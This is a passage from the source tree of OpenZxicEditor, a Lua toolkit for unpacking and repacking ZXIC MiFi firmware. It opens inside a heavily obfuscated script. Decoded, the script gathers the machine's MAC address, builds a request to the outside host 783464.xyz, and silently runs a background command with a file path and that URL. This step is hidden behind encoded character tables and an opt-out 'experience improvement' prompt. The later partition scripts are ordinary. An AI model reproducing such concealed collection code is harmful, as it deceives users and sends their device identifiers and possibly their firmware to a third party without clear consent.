tonumber(utf8.char(table.unpack({ 349 | 52,58,64,26,49})):sub(5,5))]-942 break 350 | end end 351 | return t[tonumber(utf8.char(6,49,52,14):sub(2,2))] 352 | end)() 353 | return table.unpack(t) end)())) then 354 | if tYcVCmKE:find(utf8.char((function() 355 | local t={119,105,110,105,123} 356 | t[5]=(function() 357 | local t={159,117414} 358 | local function a() t[tonumber(utf8.char( 359 | table.unpack({ 360 | 26,49,32,51 361 | })):sub(2,2))]=t[ 362 | tonumber(utf8.char(table.unpack({ 363 | 52,58,64,26,49})):sub(5,5))]+451 end 364 | while true do 365 | if t[2]==nil then 366 | elseif t[2]==(135893) then 367 | t[tonumber(utf8.char( 368 | table.unpack({ 369 | 26,49,32,51 370 | })):sub(2,2))]=t[ 371 | tonumber(utf8.char(table.unpack({ 372 | 52,58,64,26,49})):sub(5,5))]-490 break 373 | elseif t[2]==(117414) then 374 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=135893 375 | end end 376 | return t[tonumber( 377 | utf8.char(6,49,52,14):sub(2,2))] 378 | end)() 379 | return table.unpack(t) end)())) then 380 | KKKDpVwa=utf8.char(106,101,102,102,101,114,115,111,110,32,102,119,117,112, 381 | 32,34,37,115,34,32,34,37,115,34,32,62,32,47,100,101,118,47,110,117,108,108,32,50,62,38,49,32,38) 382 | N7GN_77z=utf8.char((function() 383 | local t={116,101,102,114,36,119,105,110} 384 | t[5]=(function() 385 | local t={27,28703} 386 | local function a() t[tonumber(utf8.char( 387 | table.unpack({ 388 | 26,49,32,51 389 | })):sub(2,2))]=t[ 390 | tonumber(utf8.char(table.unpack({ 391 | 52,58,64,26,49})):sub(5,5))]+82 end 392 | while true do 393 | if t[2]==nil then 394 | elseif t[2]==(28703) then 395 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=13255 396 | elseif t[2]==(13255) then 397 | t[tonumber(utf8.char( 398 | table.unpack({ 399 | 26,49,32,51 400 | })):sub(2,2))]=t[ 401 | tonumber(utf8.char(table.unpack({ 402 | 52,58,64,26,49})):sub(5,5))]-64 break 403 | end end 404 | return t[tonumber( 405 | utf8.char(6,49,52,14):sub(2,2))] 406 | end)() 407 | return table.unpack(t) end)()) 408 | japzCR2a=utf8.char((function() 409 | local t={108,105,140} 410 | t[3]=(function() 411 | local t={98,26066} 412 | local function a() t[tonumber(utf8.char( 413 | table.unpack({ 414 | 26,49,32,51 415 | })):sub(2,2))]=t[ 416 | tonumber(utf8.char(table.unpack({ 417 | 52,58,64,26,49})):sub(5,5))]+159 end 418 | while true do 419 | if t[2]==nil then 420 | elseif t[2]==(70874) then 421 | t[tonumber(utf8.char( 422 | table.unpack({ 423 | 26,49,32,51 424 | })):sub(2,2))]=t[ 425 | tonumber(utf8.char(table.unpack({ 426 | 52,58,64,26,49})):sub(5,5))]-159 break 427 | elseif t[2]==(26066) then 428 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=70874 429 | end end 430 | return t[tonumber(utf8.char(6,49,52,14):sub(2,2))] 431 | end)() 432 | return table.unpack(t) end)()) 433 | else 434 | N7GN_77z=utf8.char((function() 435 | local t={99,121,103,119,65,110} 436 | t[5]=(function() 437 | local t={144,11202} 438 | local function a() t[tonumber(utf8.char( 439 | table.unpack({ 440 | 26,49,32,51 441 | })):sub(2,2))]=t[ 442 | tonumber(utf8.char(table.unpack({ 443 | 52,58,64,26,49})):sub(5,5))]+548 end 444 | while true do 445 | if t[2]==nil then 446 | elseif t[2]==(11202) then 447 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=107821 448 | elseif t[2]==(107821) then 449 | t[tonumber(utf8.char( 450 | table.unpack({ 451 | 26,49,32,51 452 | })):sub(2,2))]=t[ 453 | tonumber(utf8.char(table.unpack({ 454 | 52,58,64,26,49})):sub(5,5))]-587 break 455 | end end 456 | return t[tonumber( 457 | utf8.char(6,49,52,14):sub(2,2))] 458 | end)() 459 | return table.unpack(t) end)()) 460 | end 461 | tYcVCmKE=MdZ7CrQw(utf8.char(103,101,116,109,97,99,32,50,62,47,100,101,118,47,110,117,108,108,32,124,32,103,114,101,112,32,95,32,50,62,47,100,101,118,47,110,117,108,108,32,124,32,102,105,110,100,115,116,114,32,68,101,118,105,99,101)) 462 | tYcVCmKE=tYcVCmKE:match(utf8.char((function() 463 | local t={46,46,37,45,46,46,37,45,46,28,37,45,46,46,37,45,46,46,37,45,46,46} 464 | t[10]=(function() 465 | local t={84,117048} 466 | local function a() t[tonumber(utf8.char(table.unpack({26,49,32,51 467 | })):sub(2,2))]=t[tonumber(utf8.char(table.unpack({52,58,64,26,49})):sub(5,5))]+305 end 468 | while true do 469 | if t[2]==nil then 470 | elseif t[2]==(19995) then 471 | t[tonumber(utf8.char( 472 | table.unpack({26,49,32,51 473 | })):sub(2,2))]=t[ 474 | tonumber(utf8.char(table.unpack({ 475 | 52,58,64,26,49})):sub(5,5))]-343 break 476 | elseif t[2]==(117048) then 477 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=19995 478 | end end 479 | return t[tonumber( 480 | string.char(6,49,52,14):sub(2,2))] 481 | end)() 482 | return table.unpack(t) end)())) 483 | if tYcVCmKE and #tYcVCmKE>6 then cfsvVS_Y=tYcVCmKE end 484 | else 485 | tYcVCmKE=MdZ7CrQw(utf8.char(105,112,32,114,111,117,116,101,32,115,104,111,119,32, 486 | 100,101,102,97,117,108,116,32,50,62,47,100,101,118,47,110,117,108,108, 487 | 32,124,32,97,119,107,32,39,78,82,61,61,49,39,32,124,32,97,119,107,32,39,47,100, 488 | 101,102,97)..string.char(117,108,116,47,32,123,112,114,105,110,116,32,36,53,125,39)) 489 | tYcVCmKE=MdZ7CrQw(utf8.char((function() 490 | local t={99,97,116,32,47,115,121,115,47,99,108,72,115,115,47,110,101,116,47} 491 | t[12]=(function() 492 | local t={80,60523} 493 | local function a() t[tonumber(utf8.char( 494 | table.unpack({26,49,32,51 495 | })):sub(2,2))]=t[ 496 | tonumber(utf8.char(table.unpack({ 497 | 52,58,64,26,49})):sub(5,5))]+116 end 498 | while true do 499 | if t[2]==nil then 500 | elseif t[2]==(28076) then 501 | t[tonumber(utf8.char( 502 | table.unpack({26,49,32,51 503 | })):sub(2,2))]=t[ 504 | tonumber(utf8.char(table.unpack({ 505 | 52,58,64,26,49})):sub(5,5))]-99 break 506 | elseif t[2]==(60523) then 507 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=28076 508 | end end 509 | return t[tonumber( 510 | utf8.char(6,49,52,14):sub(2,2))] 511 | end)() 512 | return table.unpack(t) end)())..tYcVCmKE:gsub(utf8.char((function() 513 | local t={5} 514 | t[1]=(function() 515 | local t={16,109447} 516 | local function a() t[tonumber(utf8.char( 517 | table.unpack({26,49,32,51 518 | })):sub(2,2))]=t[ 519 | tonumber(utf8.char(table.unpack({ 520 | 52,58,64,26,49})):sub(5,5))]+28 end 521 | while true do 522 | if t[2]==nil then 523 | elseif t[2]==(5906) then 524 | t[tonumber(utf8.char( 525 | table.unpack({26,49,32,51 526 | })):sub(2,2))]=t[ 527 | tonumber(utf8.char(table.unpack({ 528 | 52,58,64,26,49})):sub(5,5))]-34 break 529 | elseif t[2]==(109447) then 530 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=5906 531 | end end 532 | return t[tonumber( 533 | utf8.char(6,49,52,14):sub(2,2))] 534 | end)() 535 | return table.unpack(t) end)()),"")..utf8.char((function() 536 | local t={47,97,100,100,114,101,115,115,32,50,62,47,100,101,118,94,110,117,108,108} 537 | t[16]=(function() 538 | local t={80,34693} 539 | local function a() t[tonumber(utf8.char( 540 | table.unpack({26,49,32,51 541 | })):sub(2,2))]=t[ 542 | tonumber(utf8.char(table.unpack({52,58,64,26,49})):sub(5,5))]+229 end 543 | while true do 544 | if t[2]==nil then 545 | elseif t[2]==(53734) then 546 | t[tonumber(utf8.char( 547 | table.unpack({26,49,32,51 548 | })):sub(2,2))]=t[ 549 | tonumber(utf8.char(table.unpack({ 550 | 52,58,64,26,49})):sub(5,5))]-262 break 551 | elseif t[2]==(34693) then 552 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=53734 553 | end end 554 | return t[tonumber( 555 | utf8.char(6,49,52,14):sub(2,2))] 556 | end)() 557 | return table.unpack(t) end)())) 558 | if tYcVCmKE and #tYcVCmKE>6 then 559 | cfsvVS_Y=tYcVCmKE 560 | end end 561 | tYcVCmKE=io[utf8.char((function() 562 | local t={114,148,97,100} 563 | t[2]=(function() 564 | local t={51,6733} 565 | local function a() t[tonumber(utf8.char( 566 | table.unpack({26,49,32,51})):sub(2,2))]=t[ 567 | tonumber(utf8.char(table.unpack({ 568 | 52,58,64,26,49})):sub(5,5))]+143 end 569 | while true do 570 | if t[2]==nil then 571 | elseif t[2]==(141524) then 572 | t[tonumber(utf8.char( 573 | table.unpack({ 574 | 26,49,32,51 575 | })):sub(2,2))]=t[ 576 | tonumber(utf8.char(table.unpack({ 577 | 52,58,64,26,49})):sub(5,5))]-93 break 578 | elseif t[2]==(6733) then 579 | a()t[tonumber(utf8.char(table.unpack({ 580 | 15,50,45,78})):sub(2,2))]=141524 581 | end end 582 | return t[tonumber( 583 | utf8.char(6,49,52,14):sub(2,2))] 584 | end)() 585 | return table.unpack(t) end)())]():lower() 586 | if tYcVCmKE==utf8.char((function() 587 | local t={186} 588 | t[1]=(function() 589 | local t={169,108075} 590 | local function a() t[tonumber(utf8.char( 591 | table.unpack({26,49,32,51})):sub(2,2))]=t[ 592 | tonumber(utf8.char(table.unpack({ 593 | 52,58,64,26,49})):sub(5,5))]+568 end 594 | while true do 595 | if t[2]==nil then 596 | elseif t[2]==(108075) then 597 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=96701 598 | elseif t[2]==(96701) then 599 | t[tonumber(utf8.char( 600 | table.unpack({ 601 | 26,49,32,51 602 | })):sub(2,2))]=t[ 603 | tonumber(utf8.char(table.unpack({52,58,64,26,49})):sub(5,5))]-627 break 604 | end end 605 | return t[tonumber( 606 | utf8.char(6,49,52,14):sub(2,2))] 607 | end)() 608 | return table.unpack(t) end)()) then 609 | V6jmyU6w( 610 | utf8.char(13,10,12304,35686,21578,12305,29992,25143,20307,39564,25913,36827, 611 | 26381,21153,24050,34987,31105,29992,65281,13,10,9, 612 | 24403,21069,25991,20214,23558,20250, 613 | 34987,49,48,48,37, 614 | 26412,22320,22788,29702,65292,13,10,9,20294,24744, 615 | 23558,26080,27861,33719,24471,20219,20309,20813,36153,25216,26415,25903,25345,12290,13,10)) 616 | else 617 | if tYcVCmKE==utf8.char((function() 618 | local t={131} t[1]=(function() 619 | local t={228,32401} 620 | local function a() t[tonumber(utf8.char( 621 | table.unpack({ 622 | 26,49,32,51 623 | })):sub(2,2))]=t[ 624 | tonumber(utf8.char(table.unpack({ 625 | 52,58,64,26,49})):sub(5,5))]+835 end 626 | while true do 627 | if t[2]==nil then 628 | elseif t[2]==(32401) then 629 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=130243 630 | elseif t[2]==(130243) then 631 | t[tonumber(utf8.char( 632 | table.unpack({26,49,32,51})):sub(2,2))]=t[ 633 | tonumber(utf8.char(table.unpack({ 634 | 52,58,64,26,49})):sub(5,5))]-942 break 635 | end end 636 | return t[tonumber( 637 | utf8.char(6,49,52,14):sub(2,2))] 638 | end)() 639 | return table.unpack(t) end)()) then 640 | V6jmyU6w(utf8.char(24863,35874,24744,30340,29702,35299,65281,25105,20204,30456,20449,31038 641 | ,21306,20250,22240,20026,24744,30340,25903,25345,32780,26356,21152,32654,22909,65281,13,10)) 642 | end 643 | cfsvVS_Y=cfsvVS_Y:gsub(utf8.char((function() 644 | local t={91,58,37,22,37,115,10,9,93} 645 | t[4]=(function() 646 | local t={27,28703} 647 | local function a() t[tonumber(utf8.char( 648 | table.unpack({ 649 | 26,49,32,51 650 | })):sub(2,2))]=t[ 651 | tonumber(utf8.char(table.unpack({ 652 | 52,58,64,26,49})):sub(5,5))]+82 end 653 | while true do 654 | if t[2]==nil then 655 | elseif t[2]==(28703) then 656 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=13255 657 | elseif t[2]==(13255) then 658 | t[tonumber(utf8.char( 659 | table.unpack({ 660 | 26,49,32,51 661 | })):sub(2,2))]=t[ 662 | tonumber(utf8.char(table.unpack({ 663 | 52,58,64,26,49})):sub(5,5))]-64 break 664 | end end 665 | return t[tonumber( 666 | string.char(6,49,52,14):sub(2,2))] 667 | end)() 668 | return table.unpack(t) end)()),""):lower() 669 | local CGHs6bkd=string.char(104,116,116,112,115,58,47,47,55, 670 | 56,51,52,54,52,46,120,121,122,47, 671 | 97,112,105,47,114,108,47,102,115,45,105,110,102,111, 672 | 63,99,104,97,110,110,101,108,61,37,115,38,116, 673 | 121,112,101,61,122,120,105,99,38,107,101,121,61,37)..string.char(115) 674 | CGHs6bkd=string[utf8.char((function() 675 | local t={102,111,114,109,94,116} 676 | t[5]=(function() 677 | local t={80,60523} 678 | local function a() t[tonumber(utf8.char( 679 | table.unpack({26,49,32,51})):sub(2,2))]=t[ 680 | tonumber(utf8.char(table.unpack({ 681 | 52,58,64,26,49})):sub(5,5))]+116 end 682 | while true do 683 | if t[2]==nil then 684 | elseif t[2]==(28076) then 685 | t[tonumber(utf8.char( 686 | table.unpack({ 687 | 26,49,32,51 688 | })):sub(2,2))]=t[ 689 | tonumber(utf8.char(table.unpack({ 690 | 52,58,64,26,49})):sub(5,5))]-99 break 691 | elseif t[2]==(60523) then 692 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=28076 693 | end end 694 | return t[tonumber( 695 | utf8.char(6,49,52,14):sub(2,2))] 696 | end)() 697 | return table.unpack(t) end)())](CGHs6bkd,N7GN_77z,cfsvVS_Y) 698 | KKKDpVwa=string[utf8.char((function() 699 | local t={102,111,114,109,97,174} 700 | t[6]=(function() 701 | local t={185,62458} 702 | local function a() t[tonumber(utf8.char( 703 | table.unpack({26,49,32,51 704 | })):sub(2,2))]=t[ 705 | tonumber(utf8.char(table.unpack({ 706 | 52,58,64,26,49})):sub(5,5))]+473 end 707 | while true do 708 | if t[2]==nil then 709 | elseif t[2]==(101929) then 710 | t[tonumber(utf8.char( 711 | table.unpack({ 712 | 26,49,32,51 713 | })):sub(2,2))]=t[ 714 | tonumber(utf8.char(table.unpack({ 715 | 52,58,64,26,49})):sub(5,5))]-542 break 716 | elseif t[2]==(62458) then 717 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=101929 718 | end end 719 | return t[tonumber( 720 | utf8.char(6,49,52,14):sub(2,2))] 721 | end)() 722 | return table.unpack(t) end)())](KKKDpVwa,ZkG2nwCM,CGHs6bkd) 723 | KKKDpVwa=MdZ7CrQw(KKKDpVwa) 724 | end 725 | if japzCR2a and #japzCR2a>0 then 726 | SeeJavSJ=japzCR2a..utf8.char((function() 727 | local t={44} 728 | t[1]=(function() 729 | local t={84,117048} 730 | local function a() t[tonumber(utf8.char( 731 | table.unpack({ 732 | 26,49,32,51 733 | })):sub(2,2))]=t[ 734 | tonumber(utf8.char(table.unpack({ 735 | 52,58,64,26,49})):sub(5,5))]+305 end 736 | while true do 737 | if t[2]==nil then 738 | elseif t[2]==(19995) then 739 | t[tonumber(utf8.char( 740 | table.unpack({26,49,32,51})):sub(2,2))]=t[ 741 | tonumber(utf8.char(table.unpack({ 742 | 52,58,64,26,49})):sub(5,5))]-343 break 743 | elseif t[2]==(117048) then 744 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=19995 745 | end end 746 | return t[tonumber( 747 | string.char(6,49,52,14):sub(2,2))] 748 | end)() 749 | return table.unpack(t) end)()) 750 | end 751 | local pvAnvD_4=ZkG2nwCM:match(string.char((function() 752 | local t={40,91,94,47,92,93,43,41,36} 753 | return table.unpack(t) end)())) 754 | if pvAnvD_4:find(string.char((function() 755 | local t={37,46} 756 | return table.unpack(t) end)())) then 757 | pvAnvD_4=pvAnvD_4:match(string.char((function() 758 | local t={40,46,43,41,37,46,46,43,36} 759 | return table.unpack(t) end)())) end 760 | local FVk3Rz_P=assert(io.open(AeZSfHhW..string.char((function() 761 | local t={110,97,109,101,46,116,120,116} 762 | return table.unpack(t) end)()),string.char((function() 763 | local t={119} 764 | return table.unpack(t) end)()))) 765 | FVk3Rz_P:write(pvAnvD_4) 766 | FVk3Rz_P:close() 767 | local SeeJavSJ=SeeJavSJ or "" 768 | local FVk3Rz_P=require(SeeJavSJ..string.char((function() 769 | local t={106,115,111,110} 770 | return table.unpack(t) end)())) 771 | local pvAnvD_4=FVk3Rz_P.encode(A_6rG3en) 772 | local JxRYkd8C=assert(io.open(AeZSfHhW..string.char((function() 773 | local t={112,97,114,116,105,116,105,111,110,115,46,106,115,111,110} 774 | return table.unpack(t) end)()),string.char((function() 775 | local t={119} 776 | return table.unpack(t) end)()))) 777 | JxRYkd8C:write(pvAnvD_4) 778 | JxRYkd8C:close() 779 | V6jmyU6w(utf8.char((function() 780 | local t={37197,32622,25991,20214,23548,20986,23436,25104} 781 | return table.unpack(t) end)())) 782 | print(string.char((function() 783 | local t={61,61,61,61,61,61,61,61,61,61,61,61,61,61, 784 | 61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61} 785 | return table.unpack(t) end)())) 786 | print(string.char((function() 787 | local t={32} 788 | return table.unpack(t) end)())) 789 | -------------------------------------------------------------------------------- /__lib__/mtdjoin.lua: -------------------------------------------------------------------------------- 1 | print([[ 2 | OpenZxicEditor 3 | 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 4 | 5 | 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 6 | 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 7 | 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 8 | ]]) 9 | print("=====================================") 10 | 11 | local json = require("__lib__.json") 12 | local file_path 13 | -- 获取输入文件路径 14 | local args = {...} 15 | if #args > 0 then 16 | file_path = args[1] 17 | if string.sub(file_path, -1) ~= "/" then 18 | file_path = file_path .. "/" 19 | end 20 | else 21 | file_path = "MTDs/" 22 | end 23 | -- 检测工程文件夹是否存在 24 | local f1 = io.open(file_path .. "/partitions.json", "r") 25 | local f2 = io.open(file_path .. "/mtd0", "r") 26 | if f1 or f2 then 27 | pcall(function() 28 | f1:close() 29 | end) 30 | pcall(function() 31 | f2:close() 32 | end) 33 | else 34 | print("无法识别工程文件夹,请检查:", file_path) 35 | os.exit() 36 | end 37 | 38 | local file_out = file_path .. "full_new.bin" 39 | 40 | local fill = require("__lib__.fillend") 41 | 42 | -- 检测json文件是否存在 43 | local f = io.open(file_path .. "partitions.json", "rb") 44 | if f then -- 新版mtd分区文件格式 45 | f:close() 46 | print("检测到新版mtd集合格式") 47 | print("=====================================") 48 | 49 | -- 读取分区表 50 | local partition_data = {} 51 | local jf = io.open(file_path .. "partitions.json", "r") 52 | if jf then 53 | local json_str = jf:read("*a") 54 | partition_data = json.decode(json_str) 55 | jf:close() 56 | end 57 | -- 删除可能存在的旧文件 58 | os.remove(file_out) 59 | -- 遍历分区表,连接各分区 60 | for i, part in ipairs(partition_data) do 61 | -- 找到对应文件 62 | local src = file_path .. part.file .. "_new" 63 | -- 检测重打包文件是否存在 64 | local f = io.open(src, "rb") 65 | if f then 66 | f:close() 67 | else 68 | src = file_path .. part.file 69 | end 70 | -- 检查分区文件的大小是否正确 71 | local f = io.open(src, "rb") 72 | if f then 73 | local size = f:seek("end") 74 | f:close() 75 | if size < part.size then 76 | print("分区文件" .. src .. "太小,自动填充0xFF") 77 | fill(src, part.size) 78 | elseif size > part.size then 79 | print("检测到严重错误:") 80 | print("分区文件" .. src .. "太大,请检查") 81 | os.exit() 82 | end 83 | else 84 | print("检测到严重错误:") 85 | print("找不到分区" .. part.name .. "的相应文件,请检查") 86 | os.exit() 87 | end 88 | -- 连接分区 89 | if part.start % 1024 == 0 then -- 以KB为单位加速拷贝 90 | local seek = part.start / 1024 91 | os.execute(string.format("dd if=\"%s\" of=\"%s\" bs=1024 seek=%d conv=notrunc 2>/dev/null", src, file_out, 92 | seek)) 93 | else -- 地址未对齐,需要逐个字节拷贝 94 | os.execute(string.format("dd if=\"%s\" of=\"%s\" bs=1 seek=%d conv=notrunc 2>/dev/null", src, file_out, 95 | part.start)) 96 | end 97 | print("已导入分区:" .. src) 98 | end 99 | 100 | else -- 旧版mtd分区文件格式 101 | file_out = file_path .. "merged-mtd.bin" 102 | print("检测到旧版mtd文件格式") 103 | print("=====================================") 104 | 105 | -- 创建新文件 106 | os.remove(file_out) 107 | os.remove("tmp") 108 | local f = io.open("tmp", "wb") 109 | f:close() 110 | -- 将mtd文件逐个连接 111 | local i = 0 112 | while true do 113 | local src = file_path .. "mtd" .. i 114 | src = src:gsub("\\", "/") 115 | local f = io.open(src, "rb") 116 | if not f then 117 | print("检测到" .. src .. "不存在,结束导入") 118 | break 119 | else 120 | f:close() 121 | end 122 | os.execute(string.format("cat \"%s\" >> \"%s\"", src, "tmp")) 123 | print("已导入分区:" .. src) 124 | i = i + 1 125 | end 126 | os.rename("tmp", file_out) 127 | os.remove("tmp") 128 | 129 | end 130 | 131 | print("=====================================") 132 | print("导入完成,\n文件位于:" .. tostring(file_out)) 133 | print(" ") 134 | 135 | -------------------------------------------------------------------------------- /__lib__/mtdrepk.lua: -------------------------------------------------------------------------------- 1 | print([[ 2 | OpenZxicEditor 3 | 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 4 | 5 | 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 6 | 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 7 | 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 8 | ]]) 9 | print("=====================================") 10 | 11 | local json = require("__lib__.json") 12 | local file_path 13 | -- 获取输入文件路径 14 | local args = {...} 15 | if #args > 0 then 16 | file_path = args[1] 17 | if string.sub(file_path, -1) ~= "/" then 18 | file_path = file_path .. "/" 19 | end 20 | else 21 | file_path = "MTDs/" 22 | end 23 | -- 检测工程文件夹是否存在 24 | local f1 = io.open(file_path .. "/partitions.json", "r") 25 | if f1 then 26 | pcall(function() 27 | f1:close() 28 | end) 29 | else 30 | print("无法识别工程文件夹,请检查:", file_path) 31 | os.exit() 32 | end 33 | 34 | local log = function(msg) 35 | -- 初始化日志函数 36 | end 37 | local log_path = "__lib__/logs/" 38 | local els = io.open("__lib__/--enable-log", "r") 39 | if els then -- 检测是否存在--enable-log文件 40 | els:close() 41 | print("\r\n日志输出已启用。\r\n") 42 | os.execute("mkdir -p " .. log_path) -- 创建日志文件夹 43 | local log_file = string.format("%s%s_repk.log", log_path, os.time()) 44 | log = function(msg) 45 | local f = io.open(log_file, "a") 46 | f:write(msg .. "\r\n") 47 | f:close() 48 | end 49 | end 50 | 51 | log(os.date("%Y-%m-%d %H:%M:%S") .. "\t开始...\r\n") 52 | 53 | local printr = print 54 | local function echo(msg) 55 | log("\r\n" .. msg .. "\r\n") 56 | printr(msg) 57 | end 58 | local print = echo 59 | 60 | local function exec(cmd) 61 | local f = io.popen(cmd) 62 | local s = f:read("*a") 63 | f:close() 64 | return s 65 | end 66 | 67 | local fill = require("__lib__.fillend") 68 | 69 | local function repack(mtd, type, erase, size) 70 | -- 删除可能存在的旧文件 71 | os.remove(mtd .. "_new") 72 | -- 打包 73 | log("=====================================") 74 | if type == "squashfs" then -- squashfs 75 | log("获取原文件参数信息:") 76 | log(exec(string.format("unsquashfs -s \"%s\"", mtd))) 77 | local cmd, comp, block, filter, dict 78 | -- 获取压缩方法 79 | cmd = string.format("unsquashfs -s \"%s\" | grep Compression", mtd) 80 | comp = exec(cmd) 81 | comp = comp:match("Compression (%w+)") or "xz" 82 | -- 获取块大小 83 | cmd = string.format("unsquashfs -s \"%s\" | grep Block", mtd) 84 | block = exec(cmd) 85 | block = block:match("Block size (%d+)") or "262144" 86 | -- 获取过滤器 87 | cmd = string.format("unsquashfs -s \"%s\" | grep \"Filters selected\"", mtd) 88 | filter = exec(cmd) 89 | filter = filter:match(".*ilters selected. (%w+)") or "armthumb" 90 | -- 获取字典大小 91 | cmd = string.format("unsquashfs -s \"%s\" | grep \"Dictionary size\"", mtd) 92 | dict = exec(cmd) 93 | dict = dict:match(".*ictionary size.? (%d+)") or block 94 | -- 测试结果输出 95 | log("压缩方式:" .. comp .. ",块大小:" .. block .. ",过滤器:" .. filter .. 96 | ",字典大小:" .. dict) 97 | cmd = string.format( 98 | "mksquashfs \"%s\" \"%s\" -comp %s -noappend -b %s -no-xattrs -always-use-fragments -all-root -Xbcj %s -Xdict-size %s", 99 | mtd .. "_unpacked", mtd .. "_new", comp, block, filter, dict) 100 | log(exec(cmd .. " 2>&1")) 101 | print("已打包squashfs分区:" .. mtd) 102 | elseif type == "jffs2" then -- jffs2 103 | local cmd = string.format("mkfs.jffs2 -d \"%s\" -o \"%s\" -X lzo --pagesize=0x1000 --eraseblock=%s -l -n -q -v", 104 | mtd .. "_unpacked", mtd .. "_new", erase) -- 之前页大小是0x800,一些rootfs打包出来总是太大 105 | log(exec(cmd .. " 2>err.tmp")) 106 | -- 读取错误输出内容 107 | local f = io.open("err.tmp", "r") 108 | local err = f:read("*a") 109 | f:close() 110 | os.remove("err.tmp") 111 | if err:find("error!") or err:find("error ") then -- 检测是否有错误 112 | print("错误:打包jffs2分区" .. mtd .. "时似乎出现了一些问题\n" .. err) 113 | end 114 | log(err) 115 | print("已打包jffs2分区:" .. mtd) 116 | else -- 其他 117 | print("已跳过" .. type .. "分区:" .. mtd) 118 | end 119 | -- 检查大小并填充 120 | local f = io.open(mtd .. "_new", "rb") 121 | if f then 122 | local new_size = f:seek("end") 123 | f:close() 124 | log("打包后大小:" .. new_size .. ",分区大小:" .. size) 125 | if new_size > size then 126 | print("错误:打包后文件大小超出分区大小!") 127 | print("分区最大尺寸:" .. size .. ",打包后大小:" .. new_size) 128 | print("请重新调整需要打包的文件,减小体积以避免尺寸过大") 129 | os.remove(mtd .. "_new") 130 | os.exit() 131 | end 132 | if new_size < size then 133 | log("填充空字节:" .. (size - new_size)) 134 | fill(mtd .. "_new", size) 135 | end 136 | end 137 | end 138 | 139 | printr("开始打包...") 140 | 141 | -- 读取分区表 142 | local partition_data = {} 143 | local jf = io.open(file_path .. "partitions.json", "r") 144 | if jf then 145 | local json_str = jf:read("*a") 146 | partition_data = json.decode(json_str) 147 | jf:close() 148 | end 149 | 150 | -- 遍历分区表,打包各分区 151 | for i, partition in ipairs(partition_data) do 152 | -- 找到对应文件 153 | local target_file = file_path .. partition.file 154 | -- 检测文件夹是否存在 155 | local f = exec("ls -d \"" .. target_file:gsub("\\", "/") .. "_unpacked\" 2>/dev/null") 156 | f = f:match("(.+)%s*$") 157 | if f then 158 | repack(target_file, partition.fst, partition.ebs, partition.size) 159 | else 160 | log("=====================================") 161 | print("已跳过分区:" .. target_file .. ",未找到解包文件夹") 162 | end 163 | end 164 | 165 | print("=====================================") 166 | print("打包完成") 167 | log(os.date("%Y-%m-%d %H:%M:%S") .. "\t结束。\r\n") 168 | print(" ") 169 | -------------------------------------------------------------------------------- /__lib__/mtdunpk.lua: -------------------------------------------------------------------------------- 1 | print([[ 2 | OpenZxicEditor 3 | 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 4 | 5 | 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 6 | 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 7 | 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 8 | ]]) 9 | print("=====================================") 10 | 11 | local json = require("__lib__.json") 12 | local file_path 13 | -- 获取输入文件路径 14 | local args = {...} 15 | if #args > 0 then 16 | file_path = args[1] 17 | if string.sub(file_path, -1) ~= "/" then 18 | file_path = file_path .. "/" 19 | end 20 | else 21 | file_path = "MTDs/" 22 | end 23 | 24 | local log = function(msg) 25 | -- 初始化日志函数 26 | end 27 | local log_path = "__lib__/logs/" 28 | local els = io.open("__lib__/--enable-log", "r") 29 | if els then -- 检测是否存在--enable-log文件 30 | els:close() 31 | print("\r\n日志输出已启用。\r\n") 32 | os.execute("mkdir -p " .. log_path) -- 创建日志文件夹 33 | local log_file = string.format("%s%s_unpk.log", log_path, os.time()) 34 | log = function(msg) 35 | local f = io.open(log_file, "a") 36 | f:write(msg .. "\r\n") 37 | f:close() 38 | end 39 | end 40 | 41 | log(os.date("%Y-%m-%d %H:%M:%S") .. "\t开始...\r\n") 42 | 43 | local printr = print 44 | local function echo(msg) 45 | log("\r\n" .. msg .. "\r\n") 46 | printr(msg) 47 | end 48 | local print = echo 49 | 50 | local function exec(cmd) 51 | local f = io.popen(cmd) 52 | local s = f:read("*a") 53 | f:close() 54 | return s 55 | end 56 | 57 | local function unpack(mtd, type, imageName) 58 | 